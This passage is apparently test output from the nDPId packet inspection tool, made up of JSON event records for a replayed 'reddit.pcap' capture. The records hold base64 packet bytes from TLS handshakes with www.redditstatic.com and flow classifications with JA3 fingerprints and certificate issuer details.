VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +00453{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":105992,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMTSVrQ7pgBAB9e3lAAABAQgKqXTmLcLXOMs="} +00453{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":106037,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMTSVrRMBgBAB7enVAAABAQgKqXTmLcLXOMs="} +01867{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":106051,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtEwHxMDE0gBgLML\/pAAABAQgKwtc4y6l05gX82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} +01160{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":475,"source":"reddit.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":10,"flow_first_seen":1605291686035,"flow_last_seen":1605291686106,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56564,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01161{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":106051,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtFxnxMDE0gBgLMFYNAAABAQgKwtc4y6l05gU0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSDHWq\/C0\/TD2ag3R1CBC5+dCnGhO93whWqM8TXWzHC1DwgEAQBWpTBswB+zDIcvtXb0kpMH1NqR0aUvMK3BJBNiQYdr34ubbqu+b5pb\/sg7wz\/r9WT3QYcyn6OkaFr8IM8Va2fML\/E7Moc20L2MQGvRMNAmVjVVrdUOSf0x9mGj4SDIlb1IuLf\/ljDDrlPTO69khpGkrJRUjir+8yyhJUzlOm4YOmZfMQbd0vcnmWEExtWxZ+u0RnbkxlYCpVI1xRAhFoujHcL6vY4jDTaDL7b9XVY5Ld6IXPsYx2ItxtDUn9pzk6rjX\/RJTOkajLDQ5iIgjubIJlbBHjVcu5Ljjq7EwCF6ZxgQXV+qyvG5YhgVEU80EAPjezSzzx7vn1g4TdzutE0JFgMDAAQOAAAA"} +00454{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":106054,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMTSVrRcZgBAB5eXFAAABAQgKqXTmLcLXOMs="} +00454{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":106057,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMTSVrRkhgBAB4ePBAAABAQgKqXTmLcLXOMs="} +00581{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":108756,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMTSVrRkhgBgB9a3tAAABAQgKqXTmMMLXOMsWAwMAJRAAACEgfccXoV0OOJneLf+rpWTHrQM5urvnVU23TJoAWgykwTsUAwMAAQEWAwMAKAAAAAAAAAAA0ebRKJwkBmszku7WqU95DRhA0VfugO+WHocBjDjyn94="} +00590{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":108867,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwMZGVrRkhgBgB9bQ9AAABAQgKqXTmMMLXOMsXAwMAXgAAAAAAAAABpujuixx0xW9GrCk9QTYOyj3yFZulKnjJXZ7SJOb+XYtysJf3f4U+6KzDsvn\/EahAjH57elr7uvMemI9lRgdDJ8lMRedqn0jswH0MULTkNVj6iT49rNg="} +00452{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":108927,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDzZzACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzoWEjDKigBEB+040AAABAQgKqXTmMMLXOMo="} +00453{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":108978,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAChDACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuxCOjCV\/gBEB+1lEAAABAQgKqXTmMMLXOKg="} +00452{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":109012,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCVbzACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHT1EUASYRgBEB+7tKAAABAQgKqXTmMMLXOKk="} +00454{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":109028,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB\/ybACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4ZTGemEx1gBEB+2n7AAABAQgKqXTmMMLXOKk="} +00453{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":109044,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAreKACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSV7Gn4kvzgBEB+6PWAAABAQgKqXTmMMLXOKo="} +01862{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":110087,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMMqLg8c6FgBgLMF9SAAABAQgKwtc4zql05gUWAwMAUgIAAE4DA0MLGNd7+xW2yuEIisVqm\/w5FeQFIKxeMJzg5Pj+fuZ1AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":490,"source":"reddit.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1605291686035,"flow_last_seen":1605291686110,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56562,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01875{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":110087,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMNrrg8c6FgBgLMOMHAAABAQgKwtc4zql05gVpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +01865{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":110088,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMOtLg8c6FgBgLMBwmAAABAQgKwtc4zql05gX82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} +01159{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":492,"source":"reddit.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":9,"flow_first_seen":1605291686035,"flow_last_seen":1605291686110,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56562,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01158{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":110088,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMPurg8c6FgBgLML1yAAABAQgKwtc4zql05gU0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSAW8jyvFAi1RAltYebQcJ+vM3PRT7jAEqASNBxB0LmwZggEAQBTyr2YsARU97ZlfefrYfyUerhJwjKjf26WYPheQNJzQOt\/5ozgbram4cbZRr6RQnJ3x8XErthrUsLF9X1zoxFIIjStMOkWQCmG9ei7hf1lEADaZwV0B+MSJTlsrDLc0szTJmMN9ZocjOJL8xRZdLIFMam+Nrv+6gUFSkxyYNqt5KEz0G7IXOtEVM9WKFKRf0BczqSNQ\/htmCPqI66LZYJe8bk7DfZ+nAU0AEnK1hXy5FQdGkKPxncJ0uBntj\/hhzmiQFqsUGEi7BnByXGr2hNfS1dCq7SNDg40daATZAYPcOZAMtHaj1VCkaeb\/ea1jIdEAyOKcoLrjYlQ+fzmTWwlFgMDAAQOAAAA"} +00437{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":110103,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gC3zdABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzoUAAAAAUAQAAMvJAAA="} 